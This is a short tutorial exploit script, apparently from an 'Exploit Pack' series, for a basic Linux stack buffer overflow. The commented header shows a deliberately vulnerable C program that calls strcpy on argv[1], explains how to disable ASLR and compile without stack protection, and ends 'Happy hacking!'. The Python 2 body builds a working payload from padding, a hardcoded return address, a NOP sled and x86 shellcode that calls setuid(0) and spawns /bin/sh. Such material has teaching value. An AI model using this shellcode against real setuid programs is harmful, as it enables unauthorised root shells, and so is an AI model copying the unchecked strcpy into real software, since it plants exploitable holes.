Exploit-Tutorial-1

# Basic Buffer Overflow for Linux - Part of the Exploit Pack Tutorials
#
# The following exploit code has been written in Python and the commented code in C, you will need to compile it in a
# x86 platform in order for it to work properly.
#
# Before compiling the following code you need to disable ASLR ( Address Space Layout Randomization) like this:
# $ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# and then compile the code using the following statements:
# gcc overflow.c -o overflow -fno-stack-protector -z execstack
# Where -fno-stack-protector disable canaries checks Pro Police and -z execstack allows to execute from the Stack.
# Happy hacking! 
#
# Vulnerable code:
# #include <stdio.h>
# #include <string.h>

# int main(int argc, char** argv) {
#       char buffer[100];
#       strcpy(buffer, argv[1]); // Vulnerable function!
#       return 0;
#}

import subprocess
import os
import sys

if len(sys.argv) != 2:
        print "Usage: python exploit.py <path>"
        print "Example: python exploit.py /home/test"
        sys.exit(1)

junk = 'A' * 112
nopsled = '\x90' * 24
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)

eip = '\x50\xf4\xff\xbf'

exploit = junk + eip + nopsled + shellcode

try:
        subprocess.call([sys.argv[1], exploit])
except OSError as e:
        if e.errno == os.errno.ENOENT:
                print "[X] File not found!"
        else:
                print "[X] Error executing exploit!"
                raise